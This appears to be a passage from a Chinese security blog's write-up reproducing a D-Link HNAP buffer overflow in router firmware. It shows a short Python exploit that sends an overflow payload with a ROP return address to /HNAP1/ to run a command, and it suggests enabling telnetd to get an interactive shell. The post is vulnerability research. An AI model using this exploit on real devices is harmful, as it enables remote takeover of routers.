继续单步调试到执行 gadget,调用 system 函数,执行的命令保存在 sp 0x28 处。
可以看到成功命令执行,创建了 test 文件
漏洞利用如上的漏洞复现调试是针对与 my_cgi.cgi,而真实运行环境是通过 lighttpd 服务器接受用户发送请求数据包,然后将数据通过环境变量以及 STDIN 传递给 my_cgi.cgi 进行处理,漏洞发生也是在这个地方,那么漏洞利用需要构造数据包向 lighttpd 传递。初次之外,还需要看固件支持哪些命令,例如此处的 busybox 支持的命令如下:
BusyBox v1.01 (2013.05.23-09:13 0000) multi-call binary
Usage: busybox [function] [arguments]...
or: [function] [arguments]...
BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as!
Currently defined functions:
[, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,
df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,
head, hostname, ifconfig, init, insmod, kill, killall, klogd,
linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,
mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,
sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,
umount, uname, vconfig, vi, wc, wget, xargs, zcip
那么简洁版的 exp 如下,执行结果是直接写回了到返回数据包中。
import requests
cmd = b'ls -l\x00'
poc = 30020 * b'A' b'\x00\x40\x5c\x5c' 40 * b'B' cmd
res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
print(res)
通过 busybox 支持的命令也可以看到,有 telnetd,如果在实体机上要获取到一个可交互的 shell,那么可以开启设备的 telnet 服务。
个人小结如下是个人觉得可以加深对于程序执行流程理解的一些点:
- do_hnap 函数中循环的控制及 MIPS 架构 s 系列寄存器的用法寄存器 s0~s7 通常是用来在子函数内部使用,如果在子函数内部还需要调用函数,那么需要将这些寄存器的值保存在栈上,执行完调用函数后进行恢复。例如 s0~s7 在 main 函数中使用,当 main 函数调用 do_hnap 的时候,在 do_hnap 函数的初始化堆栈时,将寄存器保存到了栈上。因此,我们在缓冲区溢出的时候,有时候不止可以控制 ra 寄存器,还可以控制 s 系列寄存器。# do_hnap 函数初始化过程 .text:00430DAC li $gp, (_GLOBAL_OFFSET_TABLE_ 0x7FF0 - .) .text:00430DB4 addu $gp, $t9 .text:00430DB8 addiu $sp, -0x7578 .text:00430DBC sw $ra, 0x7560 var_s14($sp) .text:00430DC0 sw $s4, 0x7560 var_s10($sp) .text:00430DC4 sw $s3, 0x7560 var_sC($sp) .text:00430DC8 sw $s2, 0x7560 var_s8($sp) .text:00430DCC sw $s1, 0x7560 var_s4($sp) .text:00430DD0 sw $s0, 0x7560 var_s0($sp) ... # do_hnap 函数执行完毕 .text:00431168 lw $ra, 0x7574($sp) .text:0043116C move $v0, $s0 .text:00431170 lw $s4, 0x7570($sp) .text:00431174 lw $s3, 0x756C($sp) .text:00431178 lw $s2, 0x7568($sp) .text:0043117C lw $s1, 0x7564($sp) .text:00431180 lw $s0, 0x7560($sp) .text:00431184 jr $ra .text:00431188 addiu $sp, 0x7578 那么现在回归正题,do_hnap 函数是使用的 s0 指向 buf 的起始地址,s1 指向 buf 的结束位置,s3 指向标准输入的起始地址。循环的结构使用 IDA 的控制流图看的话,就非常简介明了。s0 先指向 buf 起始地址,每次调用 fgetc 读取一个字符保存到 s0,然后 s0 自加指向下一个位置,直到 s0 指向结束地址。.text:00430F9C la $s3, stdin # 标准输入存储在 s3 寄存器 .text:00430FA0 move $s0, $a0 # s0:指针指向 buf 的起始位置 .text:00430FA4 addu $s1, $a0, $s1 # s1:指针指向 buf 的结束位置 ... .text:00431010 sb $v0, 0($s0) # 将从 fgetc 读取到的字符存储到缓冲区 .text:00431014 addiu $s0, 1 # s0 移动到缓冲区下一个位置 .text:00431018 bne $s0, $s1, loc_430FB4 # 比较进行跳转
- 关于 server 的启动命令分析可以分析固件文件系统的初始化启动脚本,通常在 /etc/rc* 文件或者目录下,就可以得到设备启动时执行了哪些初始化工作,例如挂载设备、创建文件等等。此处还有解压 html 文件,应该为了节省设备的存储空间,第一次启动的时候进行解压。
- 关于漏洞利用执行结果回显如果设备固件中带有一些可以进行交互的程序例如 sshd、telnetd 等服务,那么命令执行可以通过这些程序直接获取到一个可交互的 shell,如果没有,可以考虑把执行结果写回到设备的 www 目录中的文件,通过 http 服务访问命令执行结果。
- [exploit.db] D-Link HNAP – Request Remote Buffer Overflow (Metasploit)
- Hacking the D-Link DSP-W215 Smart Plug
- [固件下载] DIR-505_REVA_FIRMWARE_1.07.ZIP]
本文由OneShell原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/261344
安全客 - 有思想的安全新媒体